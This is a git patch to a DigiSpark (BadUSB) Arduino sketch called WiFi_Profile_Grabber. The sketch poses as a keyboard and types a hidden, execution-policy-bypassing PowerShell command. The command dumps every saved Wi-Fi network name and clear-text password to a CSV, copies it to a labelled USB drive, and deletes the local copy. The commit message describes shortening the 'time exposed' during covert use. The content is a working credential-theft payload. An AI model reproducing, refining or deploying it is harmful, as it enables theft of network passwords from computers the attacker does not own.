From f91f6d3b506de67f54ad472d0d21391a2130b1d2 Mon Sep 17 00:00:00 2001 From: apsecdev <51824126+apsecdev@users.noreply.github.com> Date: Mon, 18 Nov 2019 14:29:11 -0500 Subject: [PATCH] Update to Wifi_Profile_Grabber Altered the PS script to copy via drive label as opposed to hard coded drive letter. Also condensed some of the digi script into the PS script to further lessen the time exposed. --- WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino | 17 +++-------------- 1 file changed, 3 insertions(+), 14 deletions(-) diff --git a/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino b/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino index d2db1ce..09c603e 100644 --- a/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino +++ b/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino @@ -1,4 +1,5 @@ -//This DigiSpark script writes the wireless network credentials to a csv file in a usb mounted at d:\ - change accordingly. +//This DigiSpark script writes the wireless network credentials to a csv file on a usb drive. +//Change "VolumeName='USB_DRIVE_LABEL'" to reflect your drive's label. //Credits to p0wc0w. #include "DigiKeyboard.h" void setup() { @@ -12,20 +13,8 @@ void loop() { DigiKeyboard.print("cmd"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); - DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv")); + DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv c:\\windows\\temp\\temp.csv; cp c:\\windows\\temp\\temp.csv -destination $((gwmi -Query \\\"Select * from Win32_LogicalDisk where VolumeName='USB_DRIVE_LABEL'\\\").DeviceID); ri c:\\windows\\temp\\temp.csv -force")); DigiKeyboard.sendKeyStroke(KEY_ENTER); - DigiKeyboard.delay(3000); - DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); - DigiKeyboard.delay(200); - DigiKeyboard.print("cmd"); - DigiKeyboard.sendKeyStroke(KEY_ENTER); - DigiKeyboard.delay(500); - DigiKeyboard.print(F("copy temp.csv d:\\")); - DigiKeyboard.sendKeyStroke(KEY_ENTER); - DigiKeyboard.delay(500); - DigiKeyboard.print(F("del temp.csv")); - DigiKeyboard.sendKeyStroke(KEY_ENTER); - DigiKeyboard.delay(500); DigiKeyboard.print("exit"); DigiKeyboard.sendKeyStroke(KEY_ENTER); for(;;){ /*empty*/ }